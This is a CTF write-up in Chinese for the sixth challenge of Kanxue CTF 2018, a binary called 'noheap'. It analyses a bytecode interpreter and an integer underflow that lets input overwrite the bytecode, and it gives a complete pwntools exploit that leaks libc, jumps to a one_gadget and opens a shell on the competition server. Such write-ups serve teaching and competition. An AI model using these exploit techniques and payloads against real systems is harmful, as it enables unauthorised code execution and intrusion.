-
-
[原创]看雪CTF2018-第六题writeup
-
2018-6-27 20:36 2509
-
0x00 程序大体流程分析
init_array数组中有2个函数,关注sub_CB5函数,发现初始化了一些全局变量
main函数先打印了一些提示信息后,计算随机数的hash值,打印hash值,获取输入与随机数比较,输入必须与随机数相等。
然后打印出菜单
用户可以输入1,2,3,4来进行相应的操作,但IDA f5查看时看到的代码却很奇怪
查看汇编代码发现是有jmp rax,于是只能动态调试,发现跳转到了.text:0000000000001107处, 用ida Keypatch修改上面的代码为如下所示
可用ida f5查看函数相关逻辑
参数对应有问题,结合ida远程动态调试,发现该函数像是一个虚拟机解释器,主要是根据sub_CB5初始化的(qword_203140 = 0x106040F01130301LL;
qword_203148 = 0x4000161302011409LL;)数据来执行相关操作,动态调试发现字节码可分为两部分:010313010F0406010914修改栈顶数据,0F标识偏移在qword_203140中的位置,09标识在栈中参考点向上偏移09处写入数据,01021316修改程序流程。
0x01 漏洞分析
当输入1进行Malloc操作时,如果输入的size为0,0减1会是0xFF会导致溢出,想到可以使用堆方面的漏洞,但发现Show完之后会关闭stdout和stderr,文件名又叫noheap,故应该不是用堆方面的漏洞,继续分析发现可以使长度大于0x80来覆盖qword_203140,从而修改字节码来改变栈上的数据和改变程序流程
0x02 漏洞利用
payload分为2部分,第一部分用来泄露puts的地址,从而找到one_gadget的地址,第二部分跳转到one_gadget执行
payload1=pad+"\x01\x03\x13\x01\x3a\x04\x06\x01\x09\x14"+"\x01\x03\x13\x01\x42\x04\x05\x01\x08\x14"+"\x01\x03\x13\x01\x4a\x04\x06\x01\x07\x14" payload1+="\x01\x03\x13\x01\x52\x04\x06\x01\x06\x14"+"\x01\x03\x13\x01\x5a\x04\x06\x01\x05\x14"+"\x01\x03\x13\x01\x62\x04\x06\x16" payload1+=p64(0x201e29)+p64(0x8)+p64(0x540)+p64(0x4dd)+p64(0x369)+p64(0x6dc)
"\x01\x03\x13\x01\x3a\x04\x06\x01\x09\x14"向栈顶写入puts的got表地址
"\x01\x03\x13\x01\x42\x04\x05\x01\x08\x14"向栈顶写入
.text:00000000000010FF
mov rbp, rsp
retn
这段代码的首地址
"\x01\x03\x13\x01\x4a\x04\x06\x01\x07\x14"向栈顶写入
.text:0000000000001647
call _puts
jmp short locret_16AB
这段代码的首地址
"\x01\x03\x13\x01\x52\x04\x06\x01\x06\x14"向栈顶写入
.text:00000000000015E4
函数Malloc的首地址
"\x01\x03\x13\x01\x5a\x04\x06\x01\x05\x14"向栈顶写入
.text:0000000000001470
函数sub_1470的首地址,用于下次继续控制程序流程
"\x01\x03\x13\x01\x62\x04\x06\x16"改变程序流程,跳转到
.text:00000000000017E3
pop rdi
retn
处执行
p64(0x201e29)+p64(0x8)+p64(0x540)+p64(0x4dd)+p64(0x369)+p64(0x6dc)分别为上面地址相对于.text:0000000000001107的偏移
payload2=pad+"\x01\x05\x04\x06\x16"+p64(one_gadget)
跳转到one_gadget处执行
完整利用代码
from pwn import * #env=os.environ #env['LD_PRELOAD']='./noheap.so' context.log_level='debug' #r=process('./noheap') r=remote('139.199.99.130',8989) def baopo(hash): for a in range(43,90): for b in range(43,90): for c in range(43,90): for d in range(43,90): e= a e=(e << 8) + b e=(e << 8) + c e=(e << 8) + d s=(e*0x343FD+0x269EC3)&0xffffffff s1=(s*0x343FD+0x269EC3)&0xffffffff s=(s1<<32)+s hash_s=0 for q in range(8): hash_s = (131 * hash_s + ((s>>(q*8))&0xff))&0xffffffff if(hash_s==hash): return s r.recvuntil('Hash:') hashx=int(r.recvline(),16) print "[+]"+hex(hashx) res=baopo(hashx) r.recvuntil('Input:') r.sendline(p64(res)) r.recvuntil('>> ') r.sendline('1') r.recvuntil('Size :') r.sendline("0") r.recvuntil('Content :') pad=0x80*'a' payload1=pad+"\x01\x03\x13\x01\x3a\x04\x06\x01\x09\x14"+"\x01\x03\x13\x01\x42\x04\x05\x01\x08\x14"+"\x01\x03\x13\x01\x4a\x04\x06\x01\x07\x14" payload1+="\x01\x03\x13\x01\x52\x04\x06\x01\x06\x14"+"\x01\x03\x13\x01\x5a\x04\x06\x01\x05\x14"+"\x01\x03\x13\x01\x62\x04\x06\x16" payload1+=p64(0x201e29)+p64(0x8)+p64(0x540)+p64(0x4dd)+p64(0x369)+p64(0x6dc) r.sendline(payload1) r.recvuntil('>> ') r.sendline('1') puts=u64(r.recv(6).ljust(8,'\x00')) print hex(puts) libcbase=puts-0x7ffff7a7c690+0x7ffff7a0d000 one_gadget=libcbase+0xf1147 payload2=pad+"\x01\x05\x04\x06\x16"+p64(one_gadget) r.recvuntil('Size :') r.sendline("0") r.recvuntil('Content :') r.sendline(payload2) r.recvuntil('>>') r.sendline('1') r.interactive() """flag{4be6c278519a61e0176463bbd17a235a3 } """
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课